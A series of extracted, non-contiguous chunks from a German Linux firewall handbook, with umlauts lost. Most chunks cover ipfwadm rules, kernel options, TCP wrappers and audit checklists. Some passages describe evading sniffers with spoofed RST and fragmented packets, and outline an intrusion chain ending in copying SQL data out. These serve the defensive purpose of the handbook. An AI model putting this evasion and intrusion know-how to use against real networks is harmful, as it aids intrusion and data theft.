505. r den notification level in der Struktur level num Diese Levelnummer wird sp ter in einen Zeiger auf die notification Struktur umgewandelt unter Ber cksichtigung der Konvertierungslevel in sf_config c convert_levels Adressen die von den Filterregeln ben tigt werden werden in einem Erstellt von Doc Gonzo http kickme to plugins Array sf_addr gespeichert Jeder Eintrag in das Array besteht aus Adresse Maske Port Portbereich Nicht ben tigte Werte werden auf NULL gesetzt Die Struktur sf_fw zeigt auf dieses Array und benutzt hierzu einen Offset sowie Z hlervariablen f r Quell IP Ziel IP und RIP Adresse Die Struktur sf_addr O addr enth lt die Zahl der IP Nummern die f r das interne Netzwerk vergeben wurden Die IP Nummern werden in einem Array abgespeichert welches mit 1 beginnt Somit k nnen Regeln die sich auf die Schl sselworte inside und outside beziehen ohne Angabe der Portnummern auf den ersten Eintrag zeigen Uber Flags wird angezeigt welches der beiden Schl sselworte g ltig ist Notification Struktur Die Struktur notification enth lt die Informationen ber einen Level Die unterschiedlichen Level werden in einer linearen Liste abgelegt die die Variable notify als Anker benutzt Die Struktur enth lt Flags f r die Benachrichtigung des SYSLOGD e Mail Benachrichtigung SPY und RELEVEL Nachrichten und Mailadressen werden in dynamisch zugeordneten Strings gespeichert F r alle anderen Aktione
506. r ist in einem eigenen Kapitel Architektur von Firewalls auch genau beschrieben was man aufgrund neuerer Erkenntnisse nicht mehr riskieren sollte 1 Neue Kapitel und Erg nzungen e 1 1 Dringende Fehlerkorrekturen in Versionen vor 3 0 e 1 2 Erg nzungen in Version 3 0 Erstellt von Doc Gonzo http kickme to plugins 2 Todo Liste 3 Download des Handbuches 4 Kommerzieller Support e 4 1 Kommerzieller Support f r SINUS Firewall e 4 2 Kommerzielle Firewalls auf LINUX basierend e 4 3 Liste deutscher Anbieter von Firewalls 5 Einf hrung e 5 1 Feedback 6 Copyright 7 Haufig gestellte Fragen FAQ 8 Weitere Firewalls kurz vorgestellt e 8 1 DELEGATE e 8 2 SOCKS 5 e 8 3 Das TIS Firewall Toolkit 9 Aufbau der LINUX Firewall mit ipfwadm 9 1 Auswahl von Hard und Software 9 2 Ben tigte Hardware 9 3 Installation der Software 9 4 Kernel Optionen 9 5 Die Firewall Policy 9 6 Das Loopback Interface 9 7 Regeln f r die Netzwerkkarten 9 8 SPOOFING 9 9 Die Reihenfolge der Regeln 9 10 Masquerading und NAT 9 11 Dienste mit UDP Protokollen 9 12 Protokolle und Dienste 9 13 Die Clients 9 14 Gefahren mit Ports gt 1024 9 15 Die kompletten Firewall Regeln 9 16 Die Dienste auf einer Firewall 10 berpr fung der Firewallregeln 10 1 berpr fung der forwarding Regeln 10 2 berpr fung der ausgehenden Regeln 10 3 berpr fung der eingehenden Regeln 10 4 Das Testen der Regeln 10 5 Z hlen von Paketen Acco
507. r sorgen da alle CISCO Router weiterhin untereinander kommunizieren k nnen z B f r die berwachung einer Security Policy unternehmensweit e IP tunneling erlaubt nach dem SUN Standard IPoverlP Pakete zu versenden Damit kann man ber eine ISDN Standleitung Netzwerke miteinander verbinden e Multicast Routing ist eine interessante Einstellung Wenn die Pakete zulassen werden k nnen IP Pakete an Hosts im Netzwerk adressiert werden indem diese in Multicast Pakete verpackt werden Diese Pakete werde teilweise schon in den Netzwerkkarten mit voller Hardwareunterst tzung geroutet DEC SMC HP WAVELAN Diese Option sollte entweder Erstellt von Doc Gonzo http kickme to plugins ausgeschaltet werden oder sie erfordert den Einsatz einer zweiten Firewall im Intranet welche Multicast Pakete unterbindet jedoch die in der ersten Firewall entpackten IP Pakete Video Musik zu den Hosts im Intranet weiterleitet und berpr ft Auch dies ist ein Grund warum gute Firewall Konstruktionen immer aus zwei Firewalls bestehen m ssen Wer nur eine Firewall einsetzt der sollte Multicasting unter allen Umst nden ausschalten da ansonsten Angreifer mit IPoverlP Paketen zu Servern hinter der Firewall durchdringen k nnen e Die Option IP equal cost multipath erlaubt es f r Subnetze getrennte Routen einzutragen Damit k nnte es Probleme bei SOURCE ROUTED PAKETS geben Abschalten e IP verbose route monitoring unbedingt anschalten Man erh
508. r z B das Fernwartungs Interface des Microsoft Firewall PROXY 1 0 2 0 von au en her erreichbar Eine winzige Kleinigkeit hat somit die Funktion der Firewall v llig ad absurdum gef hrt Leider passieren solche Fehler sehr h ufig Der Hauptgrund liegt wohl darin da man als Systemadministrator bei bestimmten Betriebssystemen wohl schon froh ist wenn alles berhaupt l uft weitere Untersuchungen mit einer Kl rung warum nun z B Windows NT 4 0 SP4 Pakete in andere Netze streut ISDN Karte RAS werden oft nicht angestellt 9 7 Regeln f r die Netzwerkkarten Nachdem dies schwierige Problem gekl rt ist kann man nun den Datenverkehr zu einer Netzwerkkarte zulassen Erlaube ein und ausgehenden Verkehr ipfwadm I a accept W LOKALES_INTERFACE S INTRANET ipfwadm O a accept W LOKALES_INTERFACE D INTRANET Dies bedeutet da eingehende Pakete I in LOKALES_INTERFACE mit einer beliebigen Quell IP Nummer S aus dem Bereich INTRANET akzeptiert werden sollen Ebenso sollen ausgehende Pakete O in das Netzwerk INTRANET zugelassen werden Mit LOKALES_INTERFACE ist diejenige Netzwerkkarte gemeint an der sich die zu sch tzenden Arbeitsplatz PCs befinden Mit INTRANET ist die Netzwerknummer gemeint die im Intranet vergeben wird Netzwerknummern besitzen immer eine 0 Null als letzte Zahl z B 194 245 123 0 Soweit so gut betrachten wird nun noch einmal genauer die D monen Wir haben festgestellt da sich die meisten
509. radischen Einschleusung von falschen Pr fsummen ist er nicht mehr in der Lage die Inhalte dieser Pakete korrekt zu interpretieren Der Sniffer berpr ft die TCP Pr fsummen nicht die Kernel der berwachten Rechner hingegen werden diese falschen Pakete verwerfen und somit die bertragung korrekt ausf hren Sniffer brechen z B auch nach einem FIN oder RST Paket die berwachung ab Befindet sich dieses aber in einem TCP Paket weit entfernter Sequenznummer so werden die berwachten Rechner dieses verwerfen und mit der Verbindung fortfahren der Sniffer hingegen h lt die Verbindung jedoch f r beendet und stellt seine Arbeit ein Einige Betriebssysteme NT und DIGITAL UNIX berpr fen bei einem RST die TCP Sequenznummern nicht Ist also auf diesen Betriebssystemen ein Sniffer aktiv so ist es einem Angreifer leicht m glich dieses mit einem gespooften Paket mit gesetzem RST Flag taub f r alle weiteren Pakete zu machen Sehr erfolgreich gegen Sniffer sind Spielchen mit fragmentierten IP Paketen diese werden im allgemeinen nie von Sniffern erkannt Es gibt eine ganze Reihe von solchen Paketen einige sind genauer im Phrack Magazin beschrieben worden http www phrack org Kommerzielle Pakete wie Ballista oder freie wie die Software ipsend von Darren Reed oder die PERL Erweiterung Net RAWIP unter FreeBSD eignen sich hervorragend den TCP IP Stacks in den Betriebssystemen einmal auf den Zahn zu f hlen Es wird sich dann unweigerlich
510. ramme neu kompiliert werden m ssen Im Gegensatz zu SOLARIS ist es so mit LINUX m glich alle Programme die im Quellcode vorliegen gegen alle bekannte und noch unbekannten buffer overflows abzusichern das bedeutet auch da SQL Server WWW Server gesichert werden k nnen Unter SOLARIS sind alle Programme von Zulieferern nicht gegen diese Angriffe gesichert Solange SUN nicht die Quellcodes des Compilers Programme und Kernel ver ffentlich haben andere Hersteller auch keine M glichkeit Ihre Programme entsprechend zu sichern Schaut man sich die Struktur aller im Internet ver ffentlichten expoits einmal genauer an so wird man feststellen da fast alle zu einer rootshell f hren Erkennbar ist das daran da irgendwo im Quellcode bin csh oder hnliche Shells gestartet werden Wenn man einfach alle Shells umbenennt und dazu noch in der etc passwd die Namen entsprechend ndert so hat man zumindest die M glichkeit einen buffer overflow direkt scheitern zu lassen Ersetzt man csh durch einen Befehl wie mail s Angriff user domain so wird man automatisch via E Mail informiert wenn ein buffer overflow stattfindet In der Praxis hilft dies zumindest einen Angriff stark zu verz gern da der Angreifer erst einmal eine Alternative ausknoblen mu Im Grunde kann man ein freies UNIX zu dem man die Quellcodes besitzt v llig umkrempeln root wird zu toor u s w Mit einem einfachen Befehl find usr src name
511. rden eingesetzt Welche Ports sind aktiv Welche Dienste Programme sind nicht notwendig Kann der Systemadministrator Ver nderungen in der Konfiguration feststellen 2 An welche Netzwerkkarten sind welche Dienste gebunden Ist forwarding von Paketen zwischen Netzwerkkarten m glich Exisiteren IrDA Netzwerkkarten Infrarot Welche Protokolle und Dienste sind eingebunden 10 K nnen Dienste D monen gegen buffer overflows gesichert werden chroot Usermode 11 Besteht eine Zugangsm glichkeit ins Internet Softwarepflege f DARON Sind veraltete schlecht gewartete Server im Einsatz die von einem Angreifer als Werkzeug benutzt werden k nnen Wie k nnen diese gesichert werden Welche Software ist installiert Stammt die Software aus einer vertrauensw rdigen Quelle Sind regelm ig Sicherheitspatches eingespielt worden Existieren ungel ste bekannte Sicherheitsprobleme Kann der Systemadministrator unerlaubt installierte Software auf Clients feststellen Entdeckung von Viren trojanischen Pferden f 2 3 4 Ist ein Virenscanner installiert Ist der Virenscanner in weitere Dienste integriert E Mail FTP HTTP Ist der Virenscanner stets aktuell Stammen die Updates aus einer vertrauensw rdigen Quelle Fernwartung Administration IRN Werden Pa worte verschl sselt bertragen Werden Daten verschl sselt bertragen Wie erfolgt Authentifizierung und Verschl sselu
512. ree If you decide to put sharable libraries in the tree then you have to figure out which ones This might not be easy Anyway you should copy a useful set of utilities to your wtree bin directory and copy any necessary libraries to wtree lib or wtree usr lib Note the useful set of utilities is necessary if you use cgi Skripts in your web tree Therefore which ones you need will depend on which utilities are referenced by your cgi Skripts If you do as I did and opt for staticly linked versions then the easiest thing is to get a bunch of GNU file utilities and compile them staticly so that you don t need shared libraries These utilities are available in these GNU files sets bash binutils diffutils find gawk grep sed textutils Only install what you will use for example don t install df unless you want to try to provide it with the mount table This is an example set of Erstellt von Doc Gonzo http kickme to plugins GNU utilities bash cat cksum comm cp csplit cut du expand find fmt fold gawk grep head join In locate Is mkdir mv nl od paste pr rm rmdir sort split sum tac tail touch tr unexpand uniq wc xargs Copy all of these files into wtree bin I also compiled a staticly linked version of perl version 5 This took a few iterations mostly because I dislike the Configure Skript So I installed perl in wtree bin and the Perl libraries in wtree lib perl5 In addition date and f
513. reifer geziel Pakete konstruieren die Server hinter der Firewall mit einem DoS Angriff belegen e IP large routing tables mu aktiviert werden wenn man mehr als 64 Routing Eintr ge verwalten mu e IP verbose route monitoring Ubergibt ausf hrliche Routing Informationen an den SYSLOGD e IP policy routing erm glicht das Routing nicht anhand der Ziel Adresse sondern auch anhand der Quelladresse Dies erm glicht es Pakete f r einzelne Hosts getrennt zu routen und diese eventuell speziell zu filtern e ARPD support kann ausgeschaltet bleiben es sei denn man mu in gro en Netzwerken den ARPD einsetzen da der Kernel nur eine bestimmte Anzahl von Adressen behalt Diese Option beschleunigt LINUX wenn viele Clients auf den Server Router Firewall zugreifen da nicht jedesmal ein ARP Broadcast f r eine vergessen Hardwareadresse ausgesandt wird Auch die Netzwerklast wird durch den Einsatz des ARPD geringer Das macht sich insbesondere beim Einsatz von Netzwerkkarten mit zu kleinem ARP Cache bemerkbar e GRE tunnels over IP Kernel 2 2 erlauben das Tunneln von IPv6 CISCO Router Informationen ber IPv4 Da diese Pakete IPv6 oder IPv4 nicht gefiltert werden k nnen ist entweder die Option auszuschalten oder man mu IPSec Protokolle einsetzen e GRE broadcast over IP erlaubt es CISCO Broadcast Protokolle ber LINUX Router hinweg zu transportieren Mit aktivierten GRE Einstellungen kann man mit LINUX Unternehmen vernetzen und daf
514. rewall auf die Definitionen in der Datei etc services zur ck Die Angabe eines Ports ohne eines der Protokolle tcp oder udp wird ignoriert Hier ein Beispiel from inside port telnet to 129 132 0 0 port 2700 130 103 24 0 mask 255 255 255 0 port 3000 4000 Zum Schlu mu der notification level bestimmt werden der der Firewall angibt was zu tun ist wenn die Regel erf llt ist Hier werden alle Aktionen definiert die neben denjenigen stattfinden sollen die ber den Verbleib des Paketes entscheiden accept block oder reject Der Level O gibt an da der Firewall D mon und damit auch der User nicht ber das Ereignis informiert wird Wenn der Level gr er als O ist dann wird automatisch ein Logeintrag vorgenommen und alle Aktionen ausgef hrt die in diesem notification level angegeben wurden Wiederum sind nat rlich die Regeln in dem File sehr wichtig Wenn zwei Regeln gleichzeitig erf llt sind dann hat die erste Regel Vorzug gegen ber der zweiten Regel Die Konsequenz daraus ist da man stets zuerst die Speziellen Regeln definieren sollte bevor man sich den allgemeinen Regeln zuwendet Beispielsweise wenn alle UDP Pakete gesperrt sein sollen au er diejenigen von dem Host 194 77 6 230 dann sollte man diese Regel in zwei Regeln aufteilen und diese in der korrekten Reihenfolge notieren accept udp from 194 77 6 230 notification_level 0 block udp notification_level 1 Die notification Sektion Diese Sektion wird m
515. rewallregeln entsprechend anzupassen Die Standardkonfiguration bei RedHat Linux ist so da alle Dienste stets ber den TCP Wrapper gestartet werden Der mitgelieferte TCPD ist jedoch nicht die berarbeitete Version sondern stammt vom Original ab Nun wenden wir uns weiteren Diensten zu den RPC s Die Remote Procedure Calls werden von vielen Betriebssystemen f r Dinge genutzt von denen es niemand vermutet h tte Beispielsweise nutzt Windows NT die RPC f r den PDC OSF DCE verwendet es viele Backup Programme verwenden es NFS NIS YP basieren ebenfalls darauf Inzwischen ben tigt sogar SAMBA diesen Dienst RPC ist ein Dienst der oberhalb von IP TCP und UDP angesiedelt ist Der Grund f r die Einf hrung dieses Dienstes liegt darin da TCP und UDP nur 65535 verschiedene Ports also Verbindungen simultan benutzen k nnen Ber cksichtigt man da z B X Windows sehr viele simultane Verbindungen ben tigt Fontserver dann kann es passieren da die Ports alle schnell vergeben sind RPC hat die 2 Byte auf 4 Byte erweitert und kann somit ca 4 3 Milliarden simultane Verbindungen handeln Die einzig feste Portnummer dieses Dienstes die niemals ver ndert werden darf ist die des Portmappers auf Port 111 Dieser handelt die Kan le mit den Clients aus Die Firewall im Kernel von LINUX hat keinerlei speziellen Kenntnisse ber die Mechanismen die f r die RPC Dienste erforderlich sind Hier bleibt nur der Einsatz des TIS FWTK b
516. riffe von Usern auf fremde Dateien Verzeichnisse entdeckt werden 2 K nnen ungew hnliche Zugriffe auf Dienste erkannt werden 3 Werden bertragungsvolumina zwischen Server und Arbeitsstationen gez hlt accounting 4 K nnen diese eindeutig Hosts Usern und Protokollen zugeordnet werden 5 Wir protokolliert ob und wann ein User auf welche Verzeichnisse Dateien zugegeriffen hat Sind User Gruppen File Zugriffsrechte klar feststellbar Werden Portscans registriert und der Systemadministrator benachrichtigt K nnen Server untereinander kommunizieren ber welche Ports Dienste oND Sicherheit der Authentifizierungsmechanismen Sind die Pa worte sicher Sind gleiche Pa worte f r unterschiedliche Protokolle im Einsatz Welche Dienste benutzen welche Arten der Authentifizierung Werden Pa worte verschl sselt Werden Daten verschl sselt bertragen Ist session hijacking m glich SMB TELNET SMNP DRON Protokolle und Dienste Welche Dienste sind aktiviert Welche Ubertragungsprotokolle werden eingesetzt Welche Ports sind aktiv Werden diese regelm ig berpr ft Welche Dienste Programme sind nicht notwendig Kann der Systemadministrator Ver nderungen in der Konfiguration feststellen An welche Netzwerkkarten sind welche Dienste gebunden Ist forwarding von Paketen zwischen mehreren Netzwerkkarten m glich arwn gt NO Erstellt von Doc Gonzo http kickme to plugins
517. riffswerkzeuge teardrop land auf den TCP IP Stack des Angreifers enthalten Zuk nftige Werkzeuge k nnen nachinstalliert werden G ngige Portscanner mit denen ein Angreifer vor dem eigentlichen Angriff evtl das System testet k nnen erkannt und klassifiziert werden Erkannt werden k nnen ISS SATAN SAINT stealth scan z B kann erkannt und geblockt werden in einigen F llen kann das Betriebsystems des Angreifers identifiziert werden Diese Ma nahmen erlauben es nach einem Portscan auf einen WWW Server die Pakete eines Angreifers auf einen speziellen Dummy Server umzuleiten ohne da dieser davon etwas bemerkt Hier kann dann die Signatur eines Angriffs auf der Festplatte gespeichert werden um nachtr glich die Art und Funktionsweise analysieren zu k nnen Durch die flexible Programmiersprache ist gew hrleistet da auch in Zukunft neue Arten von Angriffen proaktiv bek mpft werden k nnen Clustering und Load Balancing e Clustering der Firewall Die SINUS Firewall ist in der Lage beliebig mit benachbarten SINUS Firewalls sowohl log events als auch Zustandsinformationen ber dynamische Firewallregeln auszutauschen und entsprechend zu verarbeiten Wichtig wird diese Eigenschaft beim Einsatz zum Schutz von Hochleistungs Internetservern die von einem oder mehreren Angreifern einem DoS Attack ausgesetzt sind Die Kommunikation untereinander erlaubt es trotz Beschu die Firewall noch f r normale Internet
518. rig Die Installation des TIS FWTK ist ein einem der folgenden Kapitel beschrieben Die Firewall ist nun im Prinzip von allen Arbeitsstationen im Intranet zu erreichen Die Fernwartung k nnte also von allen Erstellt von Doc Gonzo http kickme to plugins Arbeitspl tzen im Netz erfolgen Es existieren nun zwei M glichkeiten den Zugriff zu begrenzen Die Anderung der Firewallregeln oder die Anpassung des der Datei etc hosts allow etc hosts deny und der etc inetd conf Datei Betrachten man nun die Datei etc hosts allow ALL LOCAL in ftpd sshd ALL Es wird allen Arbeitsstationen im Netzwerk die Aktivierung der D monen in ftpd und sshd erlaubt FTP und SSH Betrachten man nun die Datei etc hosts deny y ALL PARANOID ALL EXCEPT in ftpd sshd ALL Man erreicht mit diesen Einstellungen da die Firewall ein double reverse lookup bei jedem Verbindungsaufbau durchf hrt d h den DNS Namen in eine IP Nummer aufl st mit reverse lookup diese IP Nummer zur ck in den DNS Namen aufl st und vergleicht Ist die zugreifende Maschine dann nicht korrekt in die DNS Server eingetragen also nicht offiziell dann wird die Verbindung abgelehnt Ein Grund hierf r kann sein da ein Angreifer versucht von einem Laptop o sich Zugang zur Firewall zu verschaffen Im Internet f hrt diese Einstellung zu einer erheblichen Belastung der DNS Server weil weltweit viele Konfigurationsfehler passieren Allerdings verbessert diese Einstel
519. ringern l t wenn man statt einer Positivliste f r Hosts nur eine Negativliste anlegt In jedem Falle wird bei allen hier vorgestellten LINUX Firewalls das ruleset bis zum Ende durchlaufen Die SINUS Firewall durchl uft den kompletten Regelsatz stets bis zum Ende Dies schlie t Programmierfehler weitestgehend aus auch wenn die Performance darunter leidet insbesondere bei vielen Regeln IPFWADM und IPCHAINS brechen nach dem ersten Match zutreffende Regel ab und durchlaufen das Regelwerk nicht weiter Besonders beim Einsatz von IPFWADM und IPCHAINS mu man h llisch aufpassen da man keine Fehler macht Hier sollte man tats chlich die Sicherheit nach der Installation mit Auditing Toolkits genau berpr fen Hier einige Beispiele die verdeutlichen sollten wo eventuell Performanceverbesserungen m glich sind 21 1 Einsatz bei ISP s ISP s haben es mit zwei unterschiedlichen Problemen zu tun Zum einen betrifft dies Server Housing zum anderen Zug nge Erstellt von Doc Gonzo http kickme to plugins Bei dem Zugriff auf Server hat man es mit vielen Clients und wenigen IP Nummern sowie Ports zu tun Es m ssen die Ports 80 und 21 f r Zugriffe aus dem Internet freigeschaltet werden Nur in Ausnahmef llen sollten weitere Ports z B f r SQL zugelassen werden Hierf r reichen erstaunlich wenige Regeln v llig aus Etwas problematisch ist die gro e Zahl von Zugriffen pro Sekunde die auf die Server einst rmen Die Firewall mu als
520. rl uterungen zu diesem Beispiel Entsprechend der Gr e der Logeintr ge die nur wenige Informationen des untersuchten Hosts erzeugen solle man mit dieser Funktion u erst sparsam umgehen und dessen Einsatz stets auch zeitm ig begrenzen also die Funktion auf nur einmal alle 10 Minuten zulassen Andernfalls ist mit einem DoS Versuch gegen die Firewall zu rechnen Das w re dann zwar kein echtes Problem es ist aber stets unangenehm wenn die Festplatte oder der Briefkasten voll l uft und die Firewall dann ihre Arbeit einstellt Wohin die Ausgabe geschrieben wird Jede Ausgabe wird in die firewall log Datei geschrieben Wenn zudem noch das Schl sselwort syslog angegeben wurde wird ein Eintrag in die syslog Datei erfolgen Bei Angabe des Schl sselwortes report wird diese Meldung in die Datei firewall report geschrieben Gibt man das Schl sselwort mail an so werden diese Meldungen zus tzlich noch an einen e Mail host gesendet Das kann in dem Fall sehr n tzlich sein wenn dem Angreifer ein Einbruch in das System gelingen sollte und dieser die Log Dateien beginnt zu l schen Verwendete Abk rzungen Wegen den verwendeten Abk rzungen die allein den Zweck haben das Logfile nicht zu schnell anwachsen zu lassen ist es unverzichtbar da man sich mit einigen K rzeln vertraut macht Regel Typen e sstatische Regel e d dynamische Regel e SPOOF Beinhaltet die Angabe des Interfaces Filter Aktionen e accept e block
521. rn und neuen Problemen f hren k nnen Es ist oft auch nicht klar welcher Dienst auf welche Datei des Filesystems zugreift Anschaltung eines jeden Dienstes separat f r sich Nun wird ein Dienst nach dem anderen aktiviert und untersucht Von Interesse sind folgende Informationen Auflistung des Befehlssatzes des Dienstes Um herauszufinden welche Befehle ein Dienst einem Client zur Verf gung stellt und mit welchen Parametern diese aufgerufen werden k nnen ist es notwendig sich zuerst die Dokumentation en in den RFC s zu besorgen Hier sind blicherweise alle Kommunikationsprotokolle dokumentiert Da es in der Praxis immer Unterschiede im Befehlssatz gibt sollte man sich auch stets die originalen Dokumente des Herstellers durchlesen Der Befehl HELP in einigen D monen MAIL FTP ist nicht als Referenz zu betrachten Da es oft vom Hersteller nicht dokumentierte Befehle gibt die nicht in den Referenzhandb chern stehen ist unbedingt auch der Quellcode mit heranzuziehen Mit viel Aufwand lassen sich auch mit Hilfe eines einfachen HEX Editors versteckte Befehle in Binaries entdecken berpr fung welche Befehle gebraucht werden Nun mu berpr ft werden welche Befehle dieses Dienstes D mons wirklich gebraucht werden und welche nicht Es sind unbedingt alle nicht benutzten oder entbehrlichen Befehle zu entfernen da mit jedem weiteren Befehl die Zahl der zu berpr fenden Kombinationsm glichkeiten quadratisch ansteigt
522. rschl sselten Pa worten so behauptet der w rde er ein paar Stunden CPU Zeit auf einer SGI Powerchallenge verbrauchen das w re dann auch schon alles die Algorithmen w ren berall gleich n mlich 3DES da kann man einfach mit brute force Pa worte erzeugen und mit dem verschl sselten Eintrag vergleichen In der c t 18 Seite 46 steht Gerichte uneins Uber Sicherheit von PIN Codes Gutachter des Landgerichtes Frankfurt Die Kosten f r den Bau eines Entschl sselungskomputers m ssen mit mindestens 300 000 Mark gesch tzt werden und es g be keine konkreten Anhaltspunkte daf r da tats chlich eine Organisation im Besitz eines derartigen Computers sei Az 2 1 S 336 98 Ich halte gerade Pa worte von Computern in H nden die zusammen hunderte von Millionen US kosten alle mit ffentlichen Geldern finanziert egal die Story ist ja erfunden sowas gibt s berhaupt nicht Erstellt von Doc Gonzo http kickme to plugins 36 3 Die Forschungsabteilung eines Chemieunternehmens Wenn man so durch die Log Files eines WWW Servers schaut und bei RIPE den Besitzer der IP Nummern ermittelt dann wird einem klar da es doch einige User in Unternehmen gibt die w hrend der Arbeitszeit gerne ber WWW mit anderen Leuten chatten oder auch gerne Witzeseiten auf irgendwelchen Servern lesen Ich erstelle also ein paar Witzeseiten mit deutschen und holl ndischen Witzen Danach schicke ich eine E Mail an eine Be
523. rt sein k nnen Hierzu gen gt es mit dem sfc Userbefehl die aktiven Regeln aus dem Kernel Filter Modul auszulesen Wenn das Firewall Device einen Lesezugriff bemerkt im Gegensatz zu schreib lese und schreib Zugriff sendet es die aktiven Regeln an das sfc Programm e read write mode default mode used by the firewall daemon delivers notification messages and takes single reconfiguration commands e write only mode used by the sfc user control program completely reconfigures the filter function and stops packet processing during the data transfer e read only mode used by the sfc user control program returns all active rules Das Firewall Device ist w hrend eines Zugriffs nicht deinstallierbar Der Firewall D mon Der Firewall D mon bemerkt ob bereits ein solcher installiert ist Der Quellcode dieses D mons ist in mehrere Files aufgespalten sfc c sf_log c sf_spy c e sfc c aktiviert die Datenstrukturen die Umgebung und forkt Kopiert sich selber e sf_log c enth lt den Firewallcode e sf_spy c enth lt den Code f r counter intelligence Immer dann wenn das SFC Programm gestartet wird pr ft es nach ob es nicht mit Supervisor Rechen gestartet wurde Danach erst durchsucht es das Konfigurationsfile soweit vorhanden Es berpr ft weiterhin ob der Firewall D mon bereits l uft Das File firewall pid enth lt die Prozess ID ps xa des laufenden Firewall Damons Diese ProzessID wird ben tigt den D mon anzuhal
524. rte beim Login keine Pa worte erhalten hat Da h ufig E Mail Pa worte nicht verschl sselt werden diese jedoch oft mit den Login Pa worten identisch sind ist der Angreifer nun doch in Besitz von zumindest einigen Login und E Mail Accounts obwohl diese an sich nicht abgeh rt werden k nnen Nun kennt der Angreifer weitere User und deren Namen im Netz Welche M glichkeiten ergeben sich hieraus e Auswertung von E Mail Headern auf Arbeitsstationen zur Analyse der Netzwerkstruktur und Informationsfl sse im Netz e Weiterf hrung des Angriffs mit dem Weihnachtsmann in anderen Unternehmenstfiliale n e Installation weitere Netzwerk und Keyboardsniffer Auslesen des SQL Servers ber eine Arbeitsstation die gen gend Festplattenspeicher besitzt e Angriff mit buffer overflow auf den Server und Installation eines Tunnels zur Fernwartung ber Internet e DoS des Logservers der Firewall in Falle einer Installation eines Tunnels e Eindringen in den SQL Server des Unternehmens und Kopieren der Informationen in das Internet Verwischen von Spuren Im Grunde f llt ein solcher Angriff insgesamt nicht auf da die bertragenen Daten stets gew hnliche Wege nehmen Der Einsatz von IDS Systemen w rde nur feststellen k nnen da gr ere Datenmengen vom SQL Server ber die Firewall in das Internet bersendet wurden entweder in kleineren unregelm igen Paketen oder als Datenstrom ber den PROXY oder PROXY Cache des Unternehmens Die Kunst
525. rver miteinander kommunizieren indirekt IRON Weitere Kommunikationsgateways 1 Existieren Faxserver 2 Exisitieren Faxmodems auf Arbeitsstationen 3 Exisitieren Modemserver 4 Fernwartungszug nge Wie sind diese abgesichert 5 Existieren IrDA Schnittstellen in Druckern Arbeitsplatzrechnern Servern Laptops 6 Existieren Funkmodems 7 K nnen FAX Modemserver f r Angriffe mi braucht werden Erkennen von Ereignissen ber welche Ereignisse wird der Systemadministrator informiert Wie wird er informiert Existiert eine Archiv Datei Werden Ereignisse miteinander kombiniert und ausgewertet Sind regelm ig Sicherheitspatches eingespielt worden Exisiteren ungel ste bekannte Sicherheitsprobleme Browser Welche Protokolle sind aktiviert Welche Dienste sind aktiviert z B Frontpage IIS Welche bertragungsprotokolle werden eingesetzt Welche Ports sind aktiv Welche Software ist installiert Stammt die Software aus einer vertrauensw rdig en Quelle 10 Sind mehr Softwarepakete Funktionen installiert als f r die Arbeit ben tigt wird 11 Welche Software greift auf welche Netzwerkresourcen zu 12 Kann der Benutzer eigene Software installieren 13 Wie wird festgestellt ob der Anwender Software installiert hat 14 Pa wortsicherheit Werden unverschl sselte Pa worte auf der Festplatte gelagert WS FTP LOGIN MAIL Mit welchen Algorithmen sind diese
526. s die spezielle Protokolle implementiert haben z B den PASV Mechanismus bei FTP Alle NAT Implementierungen unter LINUX k nnen nicht mit diesen Proxy s zusammen betrieben werden daher funktionieren einige Protokolle nur eingeschr nkt PASV FTP CUSEEME QUAKE Der transparente Proxy funktioniert allerdings auch mit NAT was bedeutet da alle TELNET basierten Protokolle ohne Probleme funktionieren Forwarding von Paketen von LOKALES_INTERFACE an EXTERNES_INTERFACE ipfwadm F a W EXTERNES_INTERFACE S INTRANET Es mu nur das W rtchen masquerade eingef gt werden So einfach kann die Welt sein Forwarding von Paketen von LOKALES_INTERFACE an EXTERNES_INTERFACE mit masquerading ipfwadm F a masquerade W EXTERNES_INTERFACE S INTRANET Erstellt von Doc Gonzo http kickme to plugins Fertig ist die neue masquerading Regel W hrend die ersten 3 Zeilen die Regeln f r Input Output und Forwarding listen I ist die letzte Zeile f r das Accounting zust ndig also dem Z hlen von Paketen um z B festzustellen welcher Host viel surft Wer DHCP im Einsatz hat der sollte daf r sorgen da MAC Adressen festen IP Nummern zugewiesen werden 9 11 Dienste mit UDP Protokollen Ein Problem gibt es wenn au ergew hnliche Protokolle die Firewall passieren m ssen z B FTP RPC oder REALVIDEO AUDIO Hier zu mehr sp ter Die Firewall so wie oben konfiguriert ist momentan mit allen aktivierten Firewallregeln von au
527. s gew hnlich auf Port 520 RIP Clients benutzen gew hnlich Portnummern ber 1023 RIP PROXY ist ohne Sinn da ein Router von jeder Netzwerkkarte und somit zu jeder Seite eigene voneinander unabh ngige Routing Tabellen aufbaut Regel Richtung Protokoll Quellport Zielport ein UDP gt 1023 520 aus UDP 520 gt 1023 aus UDP gt 1023 520 ein UDP 520 gt 1023 ein UDP 520 520 aus UDP 520 520 su ruwuD Anmerkungen zu den Regeln 1 Anfrage des externen Clients an den internen Server 2 Antwort des internen Servers an den externen Client 3 Anfrage des internen Clients an den externen Server 4 Antwort des externen Servers an den internen Client 5 Broadcast des externen Servers an internen Server 6 Broadcast des internen Servers an externe Server PING Information Regel Richtung Protokoll Meldungstyp Kommentar 1 ein ICMP 8 Eingehendes PING 2 aus ICMP 0 Antwort auf eingehendes PING 3 aus ICMP 8 Ausgehendes PING 4 ein ICMP 0 Antwort auf ausgehendes PING TRACEROUTE Information TRACEROUTE ist ein Protokoll mit welchem man die Wege der Pakete im Internet bestimmen kann Hierbei werden die TTL Werte von 1 anfangend bis zum Ziel stetig erh ht und die Response Zeiten gemessen Es gibt z B bei Microsoft Implementierungen die nicht auf ICMP sondern auf UDP beruhen Regel Richtung Protokoll Meldungstyp 1 aus UDP Erstellt von Doc Gonzo http kickme to plugins 2 ein ICMP 11 3 ein ICMP 4 ein UDP 5 aus ICMP 11
